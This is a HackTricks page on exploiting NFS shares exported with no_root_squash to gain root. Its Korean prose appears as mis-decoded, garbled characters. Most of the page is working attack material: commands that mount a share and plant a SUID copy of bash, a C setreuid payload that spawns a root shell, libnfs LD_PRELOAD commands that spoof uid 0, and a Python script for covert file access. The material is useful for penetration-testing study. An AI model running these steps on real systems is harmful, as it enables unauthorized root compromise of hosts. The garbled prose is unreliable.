NFS No Root Squash Misconfiguration Privilege Escalation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Squashing Basic Info
NFS๋ ์ผ๋ฐ์ ์ผ๋ก (ํนํ ๋ฆฌ๋
์ค์์) ํ์ผ์ ์ ๊ทผํ๊ธฐ ์ํด ํด๋ผ์ด์ธํธ๊ฐ ์ง์ ํ uid์ gid๋ฅผ ์ ๋ขฐํฉ๋๋ค (kerberos๊ฐ ์ฌ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ). ๊ทธ๋ฌ๋ ์๋ฒ์์ ์ด ๋์์ ๋ณ๊ฒฝํ๋ ๋ช ๊ฐ์ง ์ค์ ์ด ์์ต๋๋ค:
all_squash: ๋ชจ๋ ์ ๊ทผ์ ์์ถํ์ฌ ๋ชจ๋ ์ฌ์ฉ์์ ๊ทธ๋ฃน์nobody(65534 unsigned / -2 signed)๋ก ๋งคํํฉ๋๋ค. ๋ฐ๋ผ์ ๋ชจ๋ ์ฌ์ฉ์๋nobody๊ฐ ๋๋ฉฐ ์ฌ์ฉ์๊ฐ ์์ต๋๋ค.root_squash/no_all_squash: ์ด๋ ๋ฆฌ๋ ์ค์ ๊ธฐ๋ณธ๊ฐ์ด๋ฉฐ uid 0 (root)๋ก์ ์ ๊ทผ๋ง ์์ถํฉ๋๋ค. ๋ฐ๋ผ์ ๋ชจ๋UID์GID๋ ์ ๋ขฐ๋์ง๋ง0์nobody๋ก ์์ถ๋ฉ๋๋ค (๋ฐ๋ผ์ root ๊ฐ์ฅ์ ๋ถ๊ฐ๋ฅํฉ๋๋ค).- ``no_root_squash`: ์ด ์ค์ ์ด ํ์ฑํ๋๋ฉด root ์ฌ์ฉ์์กฐ์ฐจ ์์ถํ์ง ์์ต๋๋ค. ์ด๋ ์ด ์ค์ ์ผ๋ก ๋๋ ํ ๋ฆฌ๋ฅผ ๋ง์ดํธํ๋ฉด root๋ก ์ ๊ทผํ ์ ์์์ ์๋ฏธํฉ๋๋ค.
/etc/exports ํ์ผ์์ no_root_squash๋ก ์ค์ ๋ ๋๋ ํ ๋ฆฌ๋ฅผ ์ฐพ์ผ๋ฉด, ํด๋ผ์ด์ธํธ๋ก์ ํด๋น ๋๋ ํ ๋ฆฌ์ ์ ๊ทผํ๊ณ ๋ก์ปฌ ๋จธ์ ์ root์ธ ๊ฒ์ฒ๋ผ ๊ทธ ์์ ์ฐ๊ธฐ ํ ์ ์์ต๋๋ค.
NFS์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์:
Privilege Escalation
Remote Exploit
์ต์ 1, bash ์ฌ์ฉ:
- ํด๋ผ์ด์ธํธ ๋จธ์ ์์ ํด๋น ๋๋ ํ ๋ฆฌ๋ฅผ ๋ง์ดํธํ๊ณ , root๋ก์ ๋ง์ดํธ๋ ํด๋ ์์ /bin/bash ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ณต์ฌํ๊ณ SUID ๊ถํ์ ๋ถ์ฌํ ํ, ํผํด์ ๋จธ์ ์์ ๊ทธ bash ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํฉ๋๋ค.
- NFS ๊ณต์ ๋ด์์ root๊ฐ ๋๋ ค๋ฉด, **
no_root_squash**๊ฐ ์๋ฒ์ ์ค์ ๋์ด ์์ด์ผ ํฉ๋๋ค. - ๊ทธ๋ฌ๋ ํ์ฑํ๋์ง ์์ ๊ฒฝ์ฐ, ๋ฐ์ด๋๋ฆฌ๋ฅผ NFS ๊ณต์ ์ ๋ณต์ฌํ๊ณ ์์นํ๊ณ ์ ํ๋ ์ฌ์ฉ์๋ก์ SUID ๊ถํ์ ๋ถ์ฌํ์ฌ ๋ค๋ฅธ ์ฌ์ฉ์๋ก ์์นํ ์ ์์ต๋๋ค.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
์ต์ 2: C๋ก ์ปดํ์ผ๋ ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ:
- ํด๋ผ์ด์ธํธ ๋จธ์ ์์ ํด๋น ๋๋ ํ ๋ฆฌ๋ฅผ ๋ง์ดํธํ๊ณ , ๋ฃจํธ๋ก ๋ณต์ฌํ์ฌ ๋ง์ดํธ๋ ํด๋ ์์ SUID ๊ถํ์ ์ ์ฉํ ์ปดํ์ผ๋ ํ์ด๋ก๋๋ฅผ ๋ฃ๊ณ , ํฌ์์ ๋จธ์ ์์ ํด๋น ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํฉ๋๋ค (์ฌ๊ธฐ์์ ์ผ๋ถ C SUID ํ์ด๋ก๋๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค).
- ์ด์ ๊ณผ ๋์ผํ ์ ํ ์ฌํญ.
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload
#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell
Local Exploit
Tip
Note that if you can create a tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports.
The following trick is in case the file/etc/exportsindicates an IP. In this case you wonโt be able to use in any case the remote exploit and you will need to abuse this trick.
Another required requirement for the exploit to work is that the export inside/etc/exportmust be using theinsecureflag.
โIโm not sure that if/etc/exportis indicating an IP address this trick will workโ
Basic Information
์ด ์๋๋ฆฌ์ค๋ ๋ก์ปฌ ๋จธ์ ์์ ๋ง์ดํธ๋ NFS ๊ณต์ ๋ฅผ ์ ์ฉํ๋ ๊ฒ์ผ๋ก, ํด๋ผ์ด์ธํธ๊ฐ ์์ ์ uid/gid๋ฅผ ์ง์ ํ ์ ์๊ฒ ํด์ฃผ๋ NFSv3 ์ฌ์์ ๊ฒฐํจ์ ์ด์ฉํ์ฌ ๋ฌด๋จ ์ ๊ทผ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด ์ ์ฉ์ NFS RPC ํธ์ถ์ ์์กฐํ ์ ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ธ libnfs๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค.
Compiling the Library
๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ปดํ์ผ ๋จ๊ณ๋ ์ปค๋ ๋ฒ์ ์ ๋ฐ๋ผ ์กฐ์ ์ด ํ์ํ ์ ์์ต๋๋ค. ์ด ํน์ ๊ฒฝ์ฐ์๋ fallocate ์์คํ ํธ์ถ์ด ์ฃผ์ ์ฒ๋ฆฌ๋์์ต๋๋ค. ์ปดํ์ผ ๊ณผ์ ์ ๋ค์ ๋ช ๋ น์ด๋ฅผ ํฌํจํฉ๋๋ค:
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Exploit ์ํ
์ด ์ต์คํ๋ก์์ ๊ถํ์ ๋ฃจํธ๋ก ์์น์ํค๊ณ ์
ธ์ ์คํํ๋ ๊ฐ๋จํ C ํ๋ก๊ทธ๋จ(pwn.c)์ ๋ง๋๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ํ๋ก๊ทธ๋จ์ด ์ปดํ์ผ๋๊ณ , ๊ฒฐ๊ณผ ์ด์ง ํ์ผ(a.out)์ด suid root๋ก ๊ณต์ ์ ๋ฐฐ์น๋๋ฉฐ, ld_nfs.so๋ฅผ ์ฌ์ฉํ์ฌ RPC ํธ์ถ์์ uid๋ฅผ ์์กฐํฉ๋๋ค:
- ์ต์คํ๋ก์ ์ฝ๋ ์ปดํ์ผ:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
- ๊ณต์ ์ ์ต์คํ๋ก์์ ๋ฐฐ์นํ๊ณ uid๋ฅผ ์กฐ์ํ์ฌ ๊ถํ์ ์์ ํฉ๋๋ค:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
- ๋ฃจํธ ๊ถํ์ ์ป๊ธฐ ์ํด ์ต์คํ๋ก์์ ์คํํฉ๋๋ค:
/mnt/share/a.out
#root
Bonus: NFShell for Stealthy File Access
๋ฃจํธ ์ ๊ทผ ๊ถํ์ ์ป์ ํ, ์์ ๊ถ์ ๋ณ๊ฒฝํ์ง ์๊ณ (NFS ๊ณต์ ์ ๋ํ ํ์ ์ ๋จ๊ธฐ์ง ์๊ธฐ ์ํด) NFS ๊ณต์ ์ ์ํธ์์ฉํ๊ธฐ ์ํด Python ์คํฌ๋ฆฝํธ(nfsh.py)๊ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ ์ ๊ทผํ๋ ํ์ผ์ uid๋ฅผ ์ผ์น์์ผ, ๊ถํ ๋ฌธ์ ์์ด ๊ณต์ ์ ํ์ผ๊ณผ ์ํธ์์ฉํ ์ ์๋๋ก ํฉ๋๋ค:
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
์คํ ๋ฐฉ๋ฒ:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


